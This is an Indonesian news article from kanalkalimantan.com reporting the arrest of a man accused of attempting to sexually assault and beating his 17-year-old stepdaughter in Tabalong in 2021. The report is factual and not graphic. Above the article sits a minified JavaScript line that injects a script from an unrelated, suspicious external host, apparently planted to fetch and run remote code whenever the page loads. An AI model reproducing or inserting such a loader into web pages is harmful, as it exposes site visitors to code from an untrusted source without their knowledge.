(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM,TANJUNG – Seorang ayah nekat berniat melakukan pencabulan terhadap anak tirinya sendiri hingga dua kali. Dipicu hawa nafsu melihat baju anak tirinya tersingkap saat tidur lelap.
Alhasil pelaku yang diduga melakukan tindak asusila dan penganiayaan terhadap korban M (17), seorang pelajar di Martapura, Kabupaten Banjar, akhirnya ditangkap.
Pelaku AH (22) diketahui merupakan warga Wungkur Nanakan, Kecamatan Hayaping, Kabupaten Barito Timur, Kalimantan Tengah, ditangkap di sebuah pondok Gunung Batu Monyong, Desa Kalamos, Kecamatan Barito Timur, Kalimantan Tengah, pada Jumat (2/4/2021) sekitar pukul 21.30 WIB.
Kapolres Tabalong AKBP M Muchdori melalui Kasat Reskrim AKP Trisna Agus Brata menuturkan, berdasarkan keterangan korban, kejadian tersebut bermula ketika ayah tirinya mengajak mengunjungi nenek AH di Kelua, Kabupaten Tabalong, dalam rangka menghadiri acara keluarga.
Setelah mendapat izin dari ibunya yang tinggal di Martapura, M berangkat sendiri dan waktu sampai Amuntai dijemput AH, dan sampai Kelua menginap di rumah nenek tersebut.
Petaka dimulai, saat sedang tidur, baju korban tersingkap tanpa sengaja dan sebagian tubuhnya pun terlihat.
Melihat hal itu, pelaku sempat menutupnya menggunakan selimut, tapi hal itu kembali terulang hingga akhirnya muncul niat syahwat pelaku untuk menyetubuhi korban.
“Bagian tubuh korban sempat diraba, tapi korban segera terbangun dan aksi tak senonoh itu akhirnya gagal dilakukan,” terang AKP Trisna Agus Brata saat konferensi pers di Mapolres Tabalong, Rabu (7/4/2021) siang.
Mengalami hal tak menyenangkan, korban langsung menelepon ibunya di Martapura. Kemudian, sang ibu korban menghubungi pelaku dan meminta anaknya dipulangkan ke Martapura.
Pada malam itu juga pelaku mengantar korban ke terminal Kelua, namun di tengah perjalanan malah dibelokkan ke sebuah hutan. Di dalam hutan itu, AH memarahi M dan memukulnya dengan tangan kosong dan helm, korban lalu terjatuh dan sempat ditindih.
Baca juga : Gelar Audiensi Bersama DPRD, BEM Se-Kalsel Soroti Isu Lingkungan
Nafsu pelaku muncul kembali dan ingin memerkosanya sekali lagi, tapi ia berhenti setelah korban bilang. “Ingat, Pak. Aku anakmu,”.
“Mendengar hal itu, pelaku tidak jadi merudapaksa dan langsung mengantarnya ke terminal Kelua,” beber Kasat Reskrim Polres Tabalong.
Pasca kejadian, M ternyata tidak langsung pulang ke Martapura, melainkan ke Polres Tabalong dan menghubungi ayah kandungnya yang berada di Sampit, Kabupaten Kotawaringin Timur, Kalimantan Timur. Kemudian ayah kandungnya datang dan membuat laporan.
Belakangan diketahui, akibat kejadian tersebut korban mengalami luka memar di bagian tubuhnya.
“Saat ini pelaku sudah menjalani proses pemeriksaan petugas di Polres Tabalong dan apabila terbukti melakukan perbuatan tersebut, maka pidana penjara paling lama 15 tahun menanti,” pungkas Kasat Reskrim.
Polisi menyita beberapa barang bukti, seperti selembar baju tidur motif rose gold, selembar celana panjang motif rose gold, selembar kerudung hitam dan 1 unit sepeda motor Honda Verza warna hitam. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.